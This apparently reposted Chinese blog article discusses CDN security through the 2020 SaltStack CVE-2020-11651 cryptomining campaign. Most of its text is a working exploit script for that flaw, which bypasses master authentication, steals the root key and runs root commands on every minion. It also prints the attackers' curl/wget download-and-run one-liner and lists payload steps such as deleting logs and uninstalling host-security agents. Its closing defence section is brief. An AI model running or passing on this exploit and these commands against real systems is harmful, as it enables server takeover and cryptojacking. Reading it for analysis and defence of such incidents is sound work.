来看看CDN网络安全防护的方案
前言
今天通過SaltStack漏洞這個藥引子,聊聊CDN網絡安全防護這個話題。先聊聊,CDN定義:Content Delivery Network,內容分發網絡,給用戶帶來的價值,加速獲得其靜態或者動態內容,典型的應用場景,360安全衛士中的軟件安裝,后臺使用的就CDN網絡。在比如目前比較火的抖音短視頻,用戶在某個地方上傳視頻后,幾億的用戶都可以快速看到,很難想象,如果這個短視頻在一臺服務器上,幾千萬人同時去下載,網絡堵塞延遲會多大?
再聊聊SaltStack,是一個服務器基礎架構集中化管理平臺,幾分鐘之內就可以運行起來,速度特別快,服務器之間秒級通訊,擴展性好,很容易批量管理上萬臺服務器,顯著的降低人力與運維成本。它是簡化版的puppet,saltstack基于Python語言實現,結合輕量級消息隊列(ZeroMQ),Python第三方模塊(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)構建,SaltStack是一套C/S架構的運維工具,服務端口默認為4505/4506,兩個端口如果對外網開放危害非常大。
目前商業化的CDN絕大部分都在使用SaltStack做軟件分發系統。黑客利用SaltStack的遠程命令執行漏洞CVE-2020-11651可以直接繞過Salt-Master的認證機制,調用相關函數向Salt-Minion下發指令執行系統命令,最終導致挖礦。
攻擊詳情
1、通過網絡空間搜索引擎https://www.shodan.io/等獲取 外網開發SaltStack master的主機列表。
2、通過cve-2020-11651.py批量執行,下載sa.sh腳本。獲取到master key,在幾分鐘內就會吧命令傳遞到cdn服務器連接的client,*山云大約有幾千臺機器就是這么感染的。(curl -s x.x.x.x/sa.sh||wget -q -O- x.x.x.x/sa.sh)|sh
def ping_master():
def get_rootkey():
try:response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)for i in response:if isinstance(i,dict) and len(i) == 1:rootkey = list(i.values())[0]print("Retrieved root key: " + rootkey)return rootkeyreturn Falseexcept:return Falsedef send_command_to_minions(command):
print("Sending command to all minions on master")jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())cmd = "/bin/sh -c '{0}'".format(command)msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}try:response = clear_channel.send(msg,timeout=3)if response == None:return Trueelse:return Falseexcept:return Falsedef master_shell(root_key,command):
msg = {"key":root_key,"cmd":"runner",'fun': 'salt.cmd',"kwarg":{"fun":"cmd.exec_code","lang":"python3","code":"import subprocess;subprocess.call('{}',shell=True)".format(command)},'jid': '20200504042611133934','user': 'sudo_user','_stamp': '2020-05-04T04:26:13.609688'}try:response = clear_channel.send(msg,timeout=3)print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")return Trueexcept:print("something failed")return Falseif name==“main”:
if len(sys.argv) <= 2:print("Not enough args")print("Use like python3 cve-2020-11651.py)sys.exit(1)target = sys.argv[1]master_minion_root = sys.argv[2]master_ip = targetmaster_port = '4506'minion_config = {'transport': 'zeromq','pki_dir': '/tmp','id': 'root','log_level': 'debug','master_ip': master_ip,'master_port': master_port,'auth_timeout': 5,'auth_tries': 1,'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)}clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')if not ping_master():print("Failed to ping the specified master server, exiting")sys.exit(1)if master_minion_root == "master" or master_minion_root == "minions":command = sys.argv[3]rootkey = get_rootkey()if not rootkey:print("Failed to fetch the root key from the instance. This MAY indicate that it is patched")sys.exit(1)else:if master_minion_root == "master":master_shell(rootkey,command)else:send_command_to_minions(command)elif master_minion_root == "fetchkeyonly":get_rootkey()else:print("Invalid usage")3、執行sa.sh做以下操作:
@1、關閉防火墻、設置ulimit、系統syslog日志刪除、設置tmp目錄權限關閉watchdog,設置ssh共喲啊文件權限,清理tmp目錄等。
@2、干掉安騎士,云鏡(用齊自身卸載腳本操作),看來阿里云和騰訊云的CDN網絡受到嚴重的摧殘,也說明黑客分子在不斷的進化當中,因為很多時候,這種下載腳本在本機上有主機安全軟件的情況下,都是無效的。
@3、清理cpu資源占用超過10%的進程,保證有更多的硬件資源可以挖礦。也間接終止其他挖礦進程。同時清理docker形式運行的挖礦進程。
@4、然后下載salt-store,釋放出羅門幣挖礦進程。
4、salt-store執行以下操作
@1、使用masscan掃描redis服務器,二進制分析
@2、樣本傳到virustotal上發現連接的連接C2地址(IP地址)。
由于3、4網上有很多分析,我就不在贅述,不過從整個入侵過程來看,黑客搞的這個腳本目的是短平快,C2更新使用的IP而非域名,這個有點low,但是他把挖礦程序開足馬力,能挖多久就挖多久,門羅幣錢包為:
46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb
這個羅門幣里面大約獲利400萬左右。正好趕上五一期間,但是黑客顯然沒有運維經驗,CPU搞那么高,監控肯定能發現,大規模服務器出現CPU過高情況,肯定會有安全分析人員登錄服務器檢查。還有CDN會托管圖片等靜態資源,突然之間有超時的情況,也會引起重視的。估計4月30號開掃描,挖到5月3號。還有估計也沒想到會有那么多CDN服務提供商中招。
CDN安全防護方案
針對CDN這種邊緣服務,其實很難設計安全防護方案,因為,CDN廠商為了節省資源,二級節點一般部署10臺二手服務器,處理帶寬40~80G。一級節點也就20臺服務器,做cache用。公有云CDN業務本身就是賠錢的買賣。你說上一套具備縱深防護體系的安全解決方案是不現實的。個人覺得只要在物理服務器上安裝主機安全Agent就滿足需求了。有的CDN廠商還在CDN機房擴建高防機房,復用帶寬,這種情況下,針對主機層面的網絡通訊流量,處理尤為重要。所以,主機安全Agent對網絡流量的監控建議disable掉。主要能抓到挖礦進程就好。
【學習使我快樂】
總結
以上是生活随笔為你收集整理的来看看CDN网络安全防护的方案的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用WOFF模糊和电报渠道进行通信
- 下一篇: 西部数据 MyCloud 网络存储存在